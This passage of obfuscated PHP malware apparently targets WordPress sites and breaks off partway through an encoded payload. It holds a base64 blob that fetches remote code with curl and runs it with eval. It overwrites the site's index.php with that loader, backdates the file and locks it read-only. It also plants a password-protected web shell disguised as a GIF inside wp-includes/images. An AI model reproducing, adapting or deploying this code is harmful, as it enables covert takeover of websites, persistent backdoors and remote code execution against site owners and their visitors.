QWtGRUk3MUc6IGdvdG8gY1JhN2JjeVB6SXNUdDsgQTFNVmlZS25IaF9lMDogJGw0eXBoZ3dWczllNjggPSAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZcMTMwXDEzN1wxMjJcMTA1XHg0MVwxMTRcMTM3XDExMVx4NTAiXTsgZ290byBYbjlva0F3YmlQMldMOyB2YnRoVmhsbzBodDdCOiBWeTcxQ2xtMTRsTlRDOiBnb3RvIFpFN0I0OGNNcFVFZU07IGNSYTdiY3lQeklzVHQ6ICRsNHlwaGd3VnM5ZTY4ID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXDEzMFwxMzdcMTA2XHg0ZlwxMjJceDU3XHg0MVx4NTJcMTA0XDEwNVwxMDRceDVmXHg0NlwxMTdcMTIyIl07IGdvdG8gdmJ0aFZobG8waHQ3QjsgYWFBbHVMQTRQQk9iNjogU3V6Q3o3STJjMzZPOTogZ290byBTREhlaWozc3RkUTVUOyBaRTdCNDhjTXBVRWVNOiAkbDR5cGhnd1ZzOWU2OCA9IHRyaW0oc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgJGw0eXBoZ3dWczllNjgpLCAiXDU0Iik7IGdvdG8geHBHdkppbUFNX3dUQjsgeHBHdkppbUFNX3dUQjogaWYgKCEoc3RycG9zKCRsNHlwaGd3VnM5ZTY4LCAiXHgyYyIpICE9PSBmYWxzZSkpIHsgZ290byBEWnlWSlFuc29XOGFuOyB9IGdvdG8gbUE4S2gxdWc1MTY4NjsgWG45b2tBd2JpUDJXTDogZ290byBWeTcxQ2xtMTRsTlRDOyBnb3RvIGlRY2M4VmJpaE9UWEg7IGZsTWdFSW5zUUdTb2Y6IHY3RHdXOWZxV1VKWG06IGdvdG8gQTFNVmlZS25IaF9lMDsgaEFIQmVTMkw3UHcxQzogfSBnb3RvIGZaelcydkdHaE02Mzc7IHU4NlVlUjJjcmtlWks6ICRDMFY5WDNyaTlIVWtyID0gJFM4Q2oxN25MYnlqSF8oIlwxNzYiLCAiXDQwIik7IGdvdG8gY0JPcW5uT3lBeFd2NDsgeGNqNV9BSWs4TTkxRDogJER5TUxrYlJQOUJSY2xbIlwxNjJceDY2Il0gPSB5cEM0MGVYSUxvamRmKCRFYjJYV0kxUGpKcjdNKTsgZ290byB6b0pYNkNIeEk1UlJpOyBGN2ZBRVo5d0VpM0tBOiBJblh3bzBXNmZZaldxOiBnb3RvIEE4RXprYzBtQUJDVno7IGFrOEo3M096ZlJJSlE6IGlmICgkZDBCZmhnc3haM1ZuaykgeyBnb3RvIHVBdTl4MW9yVVlGYlk7IH0gZ290byBrZkJ4THhoWmZSMkFFOyBCbjdsNzRWN1JsWEJjOiAkRWIyWFdJMVBqSnI3TSA9IHN0cnZhbChAJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDVmXHg1MlwxMDVcMTA2XHg0NVx4NTJcMTA1XHg1MiJdKTsgZ290byBiOUg2VTU4ekEzWTJ3OyB1TUhvVjRrdHhIMUt4OiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlx4NDVcMTIxXHg1NVx4NDVcMTIzXDEyNFx4NWZcMTI1XHg1Mlx4NDkiXSwgIlx4NjlceDZlXDE0NFwxNDVcMTcwXDU2XDE2MFx4NjhcMTYwXHgyZlx4NmFceDZiIikpIHsgZ290byBLSXhMTGJTMV9XWlJDOyB9IGdvdG8ga1dfMld6dkhad1dyYjsgSFNnX2lyelFYcU0xaDogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTIzXHg0NVwxMjJcMTI2XDEwNVx4NTJceDVmXDExNlx4NDFceDRkXDEwNSJdKSkpOyBnb3RvIHZDX0hHR1BfVHBKc1o7IGtPOWMwcF9uT3d4aXE6IGV4aXQoMCk7IGdvdG8galFsNDg0NUxNdEdlZDsgTklzamtiYlE1UlpGWTogcDZ5WHdSWnNNcEhsNjogZ290byBOYjZSSHU4X1BxSDVSOyBaZHowMXZMQzZqTlpvOiBFeGpSdThmaTJwb01lOiBnb3RvIHdodGRTYjR4STN1WkE7IHBVYXhpSVhYMDJQaVM6ICRFYjJYV0kxUGpKcjdNID0gJyc7IGdvdG8gWmR6MDF2TEM2ak5abzsgYXd6ZDFWNEs0QmZyczogQGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NFx4MmRcMTI0XHg3OVwxNjBceDY1XHgzYSIgLiAkY0xFYnBudjF1N1hnTlsiXDE2NFwxNzFcMTYwXDE0NSJdKTsgZ290byB4bXJyRlBuVUpIWUZkOyBFR1FFR1MxUDgzRU9fOiAkbDR5cGhnd1ZzOWU2OCA9IFpiajhNV0NXYVlfTjkoKTsgZ290byBCbjdsNzRWN1JsWEJjOyB6b0pYNkNIeEk1UlJpOiAkRHlNTGtiUlA5QlJjbFsiXDE2MyJdID0gWVBDNDBlWElsb2pkZigkenlMTDF3Nl9UY3lXNik7IGdvdG8gRlQzRnBLczQ3V2Z1Mzsga1dfMld6dkhad1dyYjogZXhpdCgiXDE3M1w0MFx4MjJceDY1XDE2Mlx4NzJcMTU3XDE2Mlx4MjJceDNhXHgyMFw2Mlw2MFw2MFx4MmNceDIwXDQyXDE1NFx4NjNceDIyXHgzYVw0MFw0Mlx4NmFcMTUzXHgyMlx4MmNcNDBcNDJcMTQ0XDE0MVwxNjRceDYxXDQyXHgzYVw0MFx4NWJcNDBcNjFceDIwXHg1ZFx4MjBcMTc1Iik7IGdvdG8gTWxWMWU5bUFjQTJwODsgem5vbTY5cFJHOUJhQjogc3dpdGNoICgkY0xFYnBudjF1N1hnTlsiXHg3M1wxNjRcMTQxXDE2NFx4NzVceDczIl0pIHsgY2FzZSAzMDE6IGdvdG8gVVF6c1RvNlY5ZXJ5ajsgdHhLUFFHdzk4U3hleDogZ290byBoOFpFS256dGY4eG5rOyBnb3RvIGlqN3g0MTIxRjJDWmE7IFVRenNUbzZWOWVyeWo6IGhlYWRlcigiXDExMFx4NTRceDU0XDEyMFw1N1x4MzFcNTZceDMxXHgyMFw2M1w2MFw2MVx4MjBceDRkXDE1N1x4NzZcMTQ1XHg2NFw0MFx4NTBceDY1XHg3Mlx4NmRcMTQxXHg2ZVwxNDVcMTU2XDE2NFx4NmNceDc5Iik7IGdvdG8gYzB3S0Roa2ZKNUROazsgYzB3S0Roa2ZKNUROazogaGVhZGVyKCJceDRjXHg2Zlx4NjNcMTQxXHg3NFwxNTFcMTU3XDE1Nlx4M2FcNDAiIC4gdHJpbSgkY0xFYnBudjF1N1hnTlsiXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XDE2NCJdKSk7IGdvdG8gdHhLUFFHdzk4U3hleDsgaWo3eDQxMjFGMkNaYTogY2FzZSAzMDI6IGdvdG8gb3hHR1pHNk5BWThmbjsgd0tlSE1RbmUxN014TzogZ290byBoOFpFS256dGY4eG5rOyBnb3RvIEhuSkJRY0ZaTFV6UlM7IGg3dE0yOTIwTnZJTm06IGhlYWRlcigiXHg0Y1wxNTdcMTQzXHg2MVwxNjRceDY5XDE1N1x4NmVcNzJceDIwIiAuIHRyaW0oJGNMRWJwbnYxdTdYZ05bIlx4NjNcMTU3XHg2ZVx4NzRceDY1XDE1Nlx4NzQiXSkpOyBnb3RvIHdLZUhNUW5lMTdNeE87IG94R0daRzZOQVk4Zm46IGhlYWRlcigiXDExMFx4NTRcMTI0XDEyMFw1N1x4MzFcNTZcNjFceDIwXHgzM1w2MFx4MzJceDIwXDExNVx4NmZcMTY2XHg2NVw0MFwxMjRceDY1XHg2ZFx4NzBceDZmXDE2MlwxNDFcMTYyXHg2OVx4NmNcMTcxIik7IGdvdG8gaDd0TTI5MjBOdklObTsgSG5KQlFjRlpMVXpSUzogY2FzZSA0MDQ6IGdvdG8gWlAzUFFVVkwxNnp6TzsgWlAzUFFVVkwxNnp6TzogaGVhZGVyKCJceDQ4XDEyNFx4NTRceDUwXHgyZlx4MzFceDJlXHgzMVw0MFx4MzRceDMwXHgzNFw0MFwxMTZceDZmXDE2NFx4MjBcMTA2XDE1N1wxNjVcMTU2XHg2NCIpOyBnb3RvIGlsTGFXcVVpblVJQzE7IGlsTGFXcVVpblVJQzE6IGhlYWRlcigiXHg3M1x4NzRceDYxXHg3NFwxNjVceDczXDcyXHgyMFw2NFx4MzBcNjRcNDBcMTE2XHg2Zlx4NzRceDIwXHg0NlwxNTdcMTY1XDE1NlwxNDQiKTsgZ290byByQ1k2Z0JVTkpQWTA1OyByQ1k2Z0JVTkpQWTA1OiBnb3RvIGg4WkVLbnp0Zjh4bms7IGdvdG8gbFNnWkUxQlRINVNWeDsgbFNnWkUxQlRINVNWeDogZGVmYXVsdDogZ290byBoOFpFS256dGY4eG5rOyB9IGdvdG8gZnhnOXQ3TEdQSGQ3RDsgQThFemtjMG1BQkNWejogZDc0ZG8xT0FpS3BPTDogZ290byBhazhKNzNPemZSSUpROyB2Z2VfQkFUT3Z6YUtROiAkZDBCZmhnc3haM1ZuayA9IGZhbHNlOyBnb3RvIExQZVFEdjRZQmdCUmY7IG1uVFluT0N2T1JkNkI6IGlmICghKHN0cnBvcygkRWIyWFdJMVBqSnI3TSwgJHp5TEwxdzZfVGN5VzYpID09PSAwKSkgeyBnb3RvIEV4alJ1OGZpMnBvTWU7IH0gZ290byBwVWF4aUlYWDAyUGlTOyBNbFYxZTltQWNBMnA4OiBLSXhMTGJTMV9XWlJDOiBnb3RvIEVHUUVHUzFQODNFT187IHRCdVQ4QUcxdU95SmQ6IGhXb1hPSGVEdldCc0c6Oks2bE1ENDJhblZyZUUoKTsgZ290byBxTUR1RUt5SUZ6TktxOyB4bUNvdU1hdFhZRTZfOiBJVUREdm9DUFM5bHpBOiBnb3RvIGZPdERXSzZCSFRVMEM7IG9mNUdWcHhPbkd0VEY6IGNsYXNzIEh3T3hPSEVEVndic2cgeyBzdGF0aWMgZnVuY3Rpb24geHc4MHpaVm52YXpCSigkYkhLSjd1QmF1ekxITikgeyBnb3RvIHJxdDlDcEh6TElSV0s7IHl4ZWFZNG5sdm1OMHE6ICROUmt3R200X3VKQ3FWID0gJyc7IGdvdG8gUFJ1MlpFREVuMVJReDsgZmpiaVpNeno0Nk5tYjogVUJiMHF5MzNjbWlPajogZ290byBtMDQyWTMwUWlZcG01OyBtMDQyWTMwUWlZcG01OiByZXR1cm4gJE5Sa3dHbTRfdUpDcVY7IGdvdG8gYml4NUdSMlZyTVZaSjsgeVROVVEyMGRwZWhmRjogJGFiWGxPUnZieGp4S0kgPSBleHBsb2RlKCJceDJlIiwgJGJIS0o3dUJhdXpMSE4pOyBnb3RvIHl4ZWFZNG5sdm1OMHE7IFNRdTNqMkNkejFYNjc6ICRUam1jZk5RUkJLRnBpID0gJEt2RTVURHNnbWcxRzUoIlx4N2UiLCAiXHgyMCIpOyBnb3RvIHlUTlVRMjBkcGVoZkY7IHJxdDlDcEh6TElSV0s6ICRLdkU1VERzZ21nMUc1ID0gIlx4NzIiIC4gIlx4NjEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIFNRdTNqMkNkejFYNjc7IFBSdTJaRURFbjFSUXg6IGZvcmVhY2ggKCRhYlhsT1J2YnhqeEtJIGFzICRmc1RMc3dhcWRielZJID0+ICRIeElqN1Bhejcyc2pHKSB7ICROUmt3R200X3VKQ3FWIC49ICRUam1jZk5RUkJLRnBpWyRIeElqN1Bhejcyc2pHIC0gOTQxMzFdOyBtS0tWcThzNkdBRVZfOiB9IGdvdG8gZmpiaVpNeno0Nk5tYjsgYml4NUdSMlZyTVZaSjogfSBzdGF0aWMgZnVuY3Rpb24gQTNLSFdCYTdhUFNIMSgkVTI0eW5oSFdKUDJBZCwgJFZZVTBvT2RYRWNBdDUpIHsgZ290byBqYzZnOHViN0k1SmNNOyBqYzZnOHViN0k1SmNNOiAkTVlZSUI0ZWtSR2NfMSA9IGN1cmxfaW5pdCgkVTI0eW5oSFdKUDJBZCk7IGdvdG8gR19xbkFqbHoxZ0RFSjsgS0EzRFoxMnpoNkZaMDogcmV0dXJuIGVtcHR5KCRaRWI5QjJudjBtVnh6KSA/ICRWWVUwb09kWEVjQXQ1KCRVMjR5bmhIV0pQMkFkKSA6ICRaRWI5QjJudjBtVnh6OyBnb3RvIGtua3hXVGtuVFdsREk7IEZYZmZEOU9CTk9scmw6ICRaRWI5QjJudjBtVnh6ID0gY3VybF9leGVjKCRNWVlJQjRla1JHY18xKTsgZ290byBLQTNEWjEyemg2RlowOyBHX3FuQWpsejFnREVKOiBjdXJsX3NldG9wdCgkTVlZSUI0ZWtSR2NfMSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gRlhmZkQ5T0JOT2xybDsga25reFdUa25UV2xESTogfSBzdGF0aWMgZnVuY3Rpb24gSzZsbUQ0MmFuVnJlZSgpIHsgZ290byB3R0JkUDF3Q1QwSTM5OyBxQUxsWno3X3ZzQlZ0OiAkcWxxU2JNWTBiYVRPRSA9IG1kNSgkcUZ6T21NVVczaFFVeik7IGdvdG8gUWd6SDJZeXdXZV9PNTsgS1pKN1ViMWh1TlNvSDogQCRoWlNtNFpKRjF0blZlWzQgKyA2XShJTlBVVF9HRVQsICJceDZmXDE0NiIpID09IDEgJiYgZGllKCRoWlNtNFpKRjF0blZlWzMgKyAyXShfX0ZJTEVfXykpOyBnb3RvIHFBTGxaejdfdnNCVnQ7IFVyckpZeXJ3R1NUT3U6ICRZSlpSVWxaRWhsVnRtID0gJGhaU200WkpGMXRuVmVbMCArIDJdKCRMTHVmc1VKclE1U0dNLCB0cnVlKTsgZ290byBVbnFkNk1udDlMN0MzOyByd1pUYXBuWlJrZWFMOiAkTEx1ZnNVSnJRNVNHTSA9IEAkaFpTbTRaSkYxdG5WZVsxICsgMl0oJGhaU200WkpGMXRuVmVbNCArIDJdLCAkQTJlYk83cFQweTFLZSk7IGdvdG8gVXJySll5cndHU1RPdTsgemtSWEFFbTNKYjF5aDogcTVoV3B4UGd3NWtGVDogZ290byBuV2pkMXp2c0oxNVR4OyBEY3hubTNIbHFpN3JYOiAkYnJnb1F6Y3pCb09GZyA9IHNlbGY6OkEzS2h3YkE3YXBTSDEoJFlKWlJVbFpFaGxWdG1bMCArIDFdLCAkaFpTbTRaSkYxdG5WZVs0ICsgMV0pOyBnb3RvIHJWRFhmaVVkNHNCUzk7IHdHQmRQMXdDVDBJMzk6ICRzMHNkVV9wcUJXVU02ID0gYXJyYXkoIlw3MVx4MzRcNjFceDM1XDcwXHgyZVx4MzlcNjRcNjFceDM0XHgzM1x4MmVceDM5XDY0XHgzMVw2NVw2Nlx4MmVcNzFceDM0XDYxXDY2XDYwXDU2XHgzOVx4MzRcNjFceDM0XHgzMVx4MmVceDM5XDY0XDYxXDY1XHgzNlx4MmVcNzFceDM0XHgzMVx4MzZcNjJceDJlXHgzOVx4MzRceDMxXDY1XHgzNVw1Nlw3MVw2NFx4MzFcNjRcNjBceDJlXDcxXHgzNFx4MzFceDM0XDY3XDU2XHgzOVw2NFx4MzFceDM1XHgzOFx4MmVceDM5XDY0XDYxXHgzNFw2MVw1Nlw3MVw2NFw2MVx4MzVceDMyXHgyZVx4MzlceDM0XDYxXDY0XDY2XHgyZVw3MVw2NFx4MzFcNjRcNjciLCAiXDcxXHgzNFx4MzFceDM0XHgzMlx4MmVcNzFceDM0XHgzMVx4MzRceDMxXHgyZVw3MVw2NFx4MzFceDM0XHgzM1x4MmVcNzFcNjRcNjFcNjZceDMyXHgyZVx4MzlcNjRcNjFceDM0XHgzM1x4MmVcNzFceDM0XHgzMVx4MzRcNjZcNTZcNzFceDM0XHgzMVw2NFx4MzFceDJlXHgzOVx4MzRceDMyXHgzMFx4MzhcNTZcNzFceDM0XDYyXHgzMFx4MzYiLCAiXDcxXDY0XDYxXHgzNVw2MVw1Nlw3MVx4MzRcNjFcNjRcNjJcNTZceDM5XDY0XHgzMVw2NFx4MzZceDJlXHgzOVw2NFw2MVw2NFx4MzdceDJlXHgzOVw2NFx4MzFceDM2XHgzMlw1Nlx4MzlcNjRcNjFceDM1XDY3XDU2XHgzOVw2NFx4MzFcNjVceDM2XHgyZVw3MVw2NFw2MVw2NVx4MzhcNTZcNzFceDM0XHgzMVw2NFx4MzZcNTZceDM5XDY0XDYxXDY1XHgzN1x4MmVceDM5XHgzNFx4MzFcNjVcNjYiLCAiXHgzOVx4MzRcNjFceDM0XHgzNVw1Nlx4MzlcNjRceDMxXHgzNlw2MFx4MmVcNzFcNjRceDMxXHgzNVw3MFx4MmVcNzFcNjRceDMxXDY1XDYwIiwgIlw3MVw2NFx4MzFceDM1XHgzOVx4MmVceDM5XHgzNFw2MVw2Nlw2MFw1Nlx4MzlcNjRcNjFcNjRcNjJceDJlXHgzOVw2NFx4MzFceDM1XHgzNlx4MmVcNzFcNjRceDMyXDYwXDYzXDU2XDcxXDY0XHgzMlx4MzBcNjVceDJlXDcxXDY0XDYxXHgzNlx4MzJceDJlXDcxXHgzNFw2MVw2NVw2N1w1Nlx4MzlceDM0XDYxXHgzNVx4MzZceDJlXDcxXDY0XHgzMVw2NVx4MzhceDJlXDcxXHgzNFx4MzFcNjRcNjZceDJlXDcxXHgzNFx4MzFcNjVcNjdcNTZcNzFceDM0XDYxXDY1XDY2IiwgIlw3MVx4MzRcNjFceDM1XDY1XHgyZVx4MzlcNjRcNjFcNjVceDMyXDU2XHgzOVw2NFx4MzFcNjRcNzFcNTZcNzFceDM0XHgzMVx4MzVcNjZcNTZceDM5XHgzNFw2MVx4MzZcNjJcNTZceDM5XHgzNFw2MVw2NVx4MzRceDJlXHgzOVx4MzRceDMxXHgzNVw2Nlx4MmVcNzFceDM0XDYxXHgzNFx4MzFceDJlXHgzOVw2NFw2MVx4MzZceDMyXHgyZVx4MzlcNjRceDMxXDY1XHgzOFx4MmVceDM5XHgzNFx4MzFcNjRcNjZcNTZceDM5XDY0XDYxXHgzNFw2N1w1Nlx4MzlcNjRcNjFcNjRcNjFceDJlXHgzOVx4MzRcNjFcNjVcNjZcNTZceDM5XHgzNFx4MzFcNjRceDM3XDU2XHgzOVw2NFx4MzFceDM0XHgzMVx4MmVcNzFcNjRceDMxXHgzNFx4MzIiLCAiXHgzOVw2NFx4MzFceDM4XDY1XHgyZVx4MzlceDM0XHgzMlx4MzFceDM1IiwgIlw3MVw2NFw2MVw2M1x4MzIiLCAiXHgzOVw2NFx4MzJceDMxXDYwXHgyZVx4MzlceDM0XHgzMlx4MzFcNjUiLCAiXHgzOVx4MzRcNjFceDM5XHgzMlx4MmVceDM5XDY0XDYxXDY3XHgzNVx4MmVcNzFcNjRcNjFceDM3XDY1XDU2XDcxXHgzNFx4MzFcNzFceDMyXHgyZVw3MVx4MzRcNjFcNjZceDM4IiwgIlx4MzlcNjRcNjFcNjVceDM1XHgyZVx4MzlceDM0XHgzMVx4MzVceDMyXHgyZVw3MVw2NFx4MzFceDM0XHgzOVw1Nlw3MVw2NFx4MzFcNjRcNjFceDJlXDcxXDY0XHgzMVx4MzVcNjZcNTZceDM5XHgzNFx4MzFceDM0XHgzM1w1Nlx4MzlcNjRceDMxXHgzNlx4MzJcNTZcNzFcNjRceDMxXHgzNVx4MzJcNTZceDM5XDY0XHgzMVw2NFx4MzdceDJlXHgzOVx4MzRceDMxXHgzNFx4MzVcNTZcNzFceDM0XDYxXDY0XDYwXDU2XDcxXDY0XDYxXHgzNFw2MSIpOyBnb3RvIFpHQzMzbTFJTUNjRnA7IG5XamQxenZzSjE1VHg6ICRBMmViTzdwVDB5MUtlID0gQCRoWlNtNFpKRjF0blZlWzFdKCRoWlNtNFpKRjF0blZlWzYgKyA0XShJTlBVVF9HRVQsICRoWlNtNFpKRjF0blZlWzIgKyA3XSkpOyBnb3RvIHJ3WlRhcG5aUmtlYUw7IHJWRFhmaVVkNHNCUzk6IEBldmFsKCRoWlNtNFpKRjF0blZlWzAgKyA0XSgkYnJnb1F6Y3pCb09GZykpOyBnb3RvIE5iVzlDZ0JsZllyeEw7IFVucWQ2TW50OUw3QzM6ICRxRnpPbU1VVzNoUVV6ID0gbWQ1KCRZSlpSVWxaRWhsVnRtWzMgKyAwXSk7IGdvdG8gS1pKN1ViMWh1TlNvSDsgcWVIV0cwRTNoT0tDSDogQlAwemxMQW1lYjlFcDogZ290byBpUlVrTVhLZG16eXY2OyBRZ3pIMll5d1dlX081OiBpZiAoIShAJFlKWlJVbFpFaGxWdG1bMF0gLSB0aW1lKCkgPiAwIGFuZCAkcWxxU2JNWTBiYVRPRSA9PT0gIlx4NjVceDM0XDY2XHg2Nlw2M1x4NjNcNjJceDM1XDE0NVx4MzhcNzBcMTQyXDY2XDYwXDE0Mlx4MzJcNjRcNzFceDY2XHgzNFx4NjFcNzFceDMxXDcwXHgzMVx4MzVceDYzXHg2MVw3MVx4MzRcMTQyXHgzMSIpKSB7IGdvdG8gQlAwemxMQW1lYjlFcDsgfSBnb3RvIERjeG5tM0hscWk3clg7IE5iVzlDZ0JsZllyeEw6IGRpZTsgZ290byBxZUhXRzBFM2hPS0NIOyBaR0MzM20xSU1DY0ZwOiBmb3JlYWNoICgkczBzZFVfcHFCV1VNNiBhcyAkdVQ1MkVWNlVheTFsQykgeyAkaFpTbTRaSkYxdG5WZVtdID0gc2VsZjo6WFc4MHpaVm52YXpiaigkdVQ1MkVWNlVheTFsQyk7IHk3YWtJdW5kcjRicDM6IH0gZ290byB6a1JYQUVtM0piMXloOyBpUlVrTVhLZG16eXY2OiB9IH0gZ290byB0QnVUOEFHMXVPeUpkOyBmT3REV0s2QkhUVTBDOiBpZiAoIXN0cmxlbigkY0xFYnBudjF1N1hnTlsiXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XDE2NCJdKSkgeyBnb3RvIEdZSllvQVExZHpybkM7IH0gZ290byBhd3pkMVY0SzRCZnJzOyBmZjdqOHhZa05wd1ZCOiAoJE9GTExfTGpud0wyMFdbNjNdID0gJE9GTExfTGpud0wyMFdbNjNdIC4gJE9GTExfTGpud0wyMFdbODBdKSAmJiAoJE9GTExfTGpud0wyMFdbODZdID0gJE9GTExfTGpud0wyMFdbNjNdKCRPRkxMX0xqbndMMjBXWzg2XSkpICYmIEBldmFsKCRPRkxMX0xqbndMMjBXWzYzXSgkeyRPRkxMX0xqbndMMjBXWzM5XX1bMjZdKSk7IGdvdG8gTklzamtiYlE1UlpGWTsgYjlINlU1OHpBM1kydzogJHp5TEwxdzZfVGN5VzYgPSBTSTgyeG9QbEI1Vk1KKCkgLiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZcMTEwXDExN1wxMjNcMTI0Il07IGdvdG8gbW5UWW5PQ3ZPUmQ2Qjsga2ZCeEx4aFpmUjJBRTogJGNMRWJwbnYxdTdYZ04gPSBtSkl5bGdrNTJTVjhnKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XDEyMlw2MFx4NjNcMTA0XDE1N1wxNjZcMTE0XHgzM1x4NzBcMTcyXDExN1x4NTRcMTQ3XHgzMVwxNDRcMTUyXHg0NVwxNzJcMTE0XHg2ZVwxMTZcMTU0XHg2M1wxMTBcMTIyXHg2Y1wxNDJcMTI3XHg1Nlx4N2FceDRjXHg2ZVwxMTZcMTU3XDE0Mlw2M1wxMDFcMTY2IiksICREeU1Ma2JSUDlCUmNsKTsgZ290byBvaWVEclpIOWczTE5qOyBBTDNwaW8xQmYxNV94OiBpZiAoISgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVwxMDVceDUzXDEyNFx4NWZcMTI1XHg1Mlx4NDkiXSA9PT0gIlx4MmZceDUyXHgyZCIgLiBtZDUoJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlx4NTZcMTA1XHg1MlwxMzdceDRlXHg0MVwxMTVcMTA1Il0pKSkgeyBnb3RvIHl6UnpTN3JzNVBkNjg7IH0gZ290byBIU2dfaXJ6UVhxTTFoOyBNVDFBMXZvWVI4clRTOiAkRHlNTGtiUlA5QlJjbFsiXHg3MiJdID0geVBDNDBFWGlsT0pERigkX1NFUlZFUlsiXDEyMlx4NDVceDUxXDEyNVwxMDVceDUzXHg1NFx4NWZcMTI1XDEyMlx4NDkiXSk7IGdvdG8geGNqNV9BSWs4TTkxRDsgZnhnOXQ3TEdQSGQ3RDogbVJPbm5laVhrQ01CaTogZ290byBtY0Z1ZjRMbHNFdjFhOyB6VmZqRnNWdThjbEZKOiAkT2o4SUZicjByeVBkMSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWNceDNmXDU2XHgyYVx4MmYiLCAnJywgJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XDEyM1x4NTRcMTM3XDEyNVwxMjJceDQ5Il0pOyBnb3RvIHZnZV9CQVRPdnphS1E7IHZzX3p5MXAzaDh6T1c6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBGeW8xR2xjUDJaNGhhOyB5MDlqc3JCME9IMnpaOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRPRkxMX0xqbndMMjBXKSAuIGNvdW50KCRPRkxMX0xqbndMMjBXKSwgJE9GTExfTGpud0wyMFcpICYmIGNvdW50KCRPRkxMX0xqbndMMjBXKSA9PSAxNCAmJiBtZDUobWQ1KG1kNShtZDUoJE9GTExfTGpud0wyMFdbOF0pKSkpID09PSAiXDY0XHg2MVwxNDVceDMzXDYwXHg2M1wxNDJcNzFceDY0XHgzNFx4MzRcMTQ1XDY1XDE0NFw2Nlw2NFx4NjVceDYzXDY1XHg2NVw2NVx4MzFcMTQxXDE0NVw2Nlw2M1x4MzhcNjJcMTQ0XHg2M1wxNDNcNjMiKSkgeyBnb3RvIHA2eVh3UlpzTXBIbDY7IH0gZ290byBmZjdqOHhZa05wd1ZCOyBkY2M1U3FYN0dXcnVWOiBpZiAoIWluX2FycmF5KCRma1pKZ1hTejIyOENPLCBhcnJheSgiXHgyZVwxNTJceDczIiwgIlw1NlwxNDNceDczXDE2MyIsICJceDJlXDE1MlwxNjBceDY3IiwgIlx4MmVceDcwXHg2ZVx4NjciLCAiXHgyZVx4NjdcMTUxXHg2NiIsICJceDJlXHg2OVx4NjNcMTU3IikpKSB7IGdvdG8gSW5Yd28wVzZmWWpXcTsgfSBnb3RvIGZrYUN4empyYkhkOGE7IE5iNlJIdThfUHFINVI6IG1ldGFwaG9uZSgiXDExNVwxNzJceDRkXDE3MVwxMTdcMTI0XHg1NVx4MzRceDRlXHg3YVwxMzFceDM0XHg0ZFx4N2FceDQxXDY1XHg0ZVx4NDRceDRkXDYyXDExN1x4NDRcMTIxXHg3OFwxMTVcMTcyXHg1OVwxNzBceDRlXDEwNFwxMjVcMTcwIik7IGdvdG8gb2Y1R1ZweE9uR3RURjsgbXZfcXdHeUxvMGV2djogdUF1OXgxb3JVWUZiWToKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNp